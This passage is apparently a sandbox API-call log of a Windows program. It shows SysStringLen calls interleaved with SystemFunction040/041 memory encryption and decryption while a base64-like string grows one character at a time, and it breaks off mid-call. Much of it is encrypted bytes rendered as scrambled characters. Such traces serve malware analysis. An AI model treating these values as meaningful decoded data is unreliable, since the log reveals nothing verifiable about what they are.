[0252.540] SysStringLen (param_1="NDZ") returned 0x8 [0252.540] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.540] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0252.540] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0252.540] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.541] SysStringLen (param_1="NDZl") returned 0x8 [0252.541] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.541] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0252.541] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0252.541] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.541] SysStringLen (param_1="NDZlO") returned 0x8 [0252.541] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.541] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0252.541] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0252.541] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.541] SysStringLen (param_1="NDZlOD") returned 0x8 [0252.541] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.542] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0252.542] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0252.542] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.542] SysStringLen (param_1="NDZlODR") returned 0x8 [0252.542] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.542] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0252.542] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0252.542] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.542] SysStringLen (param_1="NDZlODRm") returned 0x8 [0252.542] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.542] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0252.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0252.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0252.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0252.543] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.543] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0252.543] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0252.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0252.543] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.544] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0252.544] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0252.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0252.544] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.544] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0252.544] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0252.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0252.544] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.544] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0252.544] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.545] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0252.545] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0252.545] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.545] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0252.545] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.545] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0252.545] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0252.545] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.545] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0252.545] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.545] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0252.545] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0252.545] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.545] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0252.545] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.546] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0252.546] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0252.546] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.546] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0252.546] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.546] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0252.546] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0252.546] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0252.547] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0252.547] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.547] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0252.547] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.547] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0252.547] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0252.547] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.547] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0252.547] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.547] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0252.547] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0252.547] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.547] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0252.547] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.548] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0252.548] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0252.548] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.548] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0252.548] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.548] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0252.548] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0252.548] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.548] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0252.548] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.548] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0252.548] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0252.548] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.549] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0252.549] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.549] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0252.549] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0252.549] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.549] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0252.549] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.549] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0252.549] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0252.549] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.549] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0252.549] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.549] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0252.550] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0252.550] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0252.550] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0252.550] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.550] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0252.550] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.550] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0252.550] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0252.550] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.551] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0252.551] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0252.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0252.551] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.551] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0252.551] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0252.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0252.551] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.551] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0252.551] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0252.551] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0252.552] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.552] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0252.552] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.552] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0252.552] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0252.552] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.552] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0252.552] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.552] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0252.552] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0252.552] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.552] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0252.552] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.553] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0252.553] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0252.553] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.553] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0252.553] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0252.553] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0252.553] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0252.553] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0252.554] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0252.554] SystemFunction041 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.554] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0252.554] SystemFunction040 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.554] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0252.554] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0252.554] SystemFunction041 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.561] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0252.561] SystemFunction040 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.561] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0252.561] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0252.562] SystemFunction041 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.562] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0252.562] SystemFunction040 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.562] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0252.562] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0252.562] SystemFunction041 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.562] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0252.562] SystemFunction040 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.562] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0252.562] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0252.562] SystemFunction041 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.562] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0252.562] SystemFunction040 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.563] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0252.563] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0252.563] SystemFunction041 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.563] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0252.563] SystemFunction040 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.563] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0252.563] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0252.563] SystemFunction041 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.563] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0252.563] SystemFunction040 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.563] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0252.563] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0252.563] SystemFunction041 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.564] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0252.564] SystemFunction040 (in: Memory=0x37122c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x37122c) returned 0x0 [0252.564] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0252.564] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0252.564] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0252.564] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0252.564] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0252.564] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0252.565] SystemFunction040 (in: 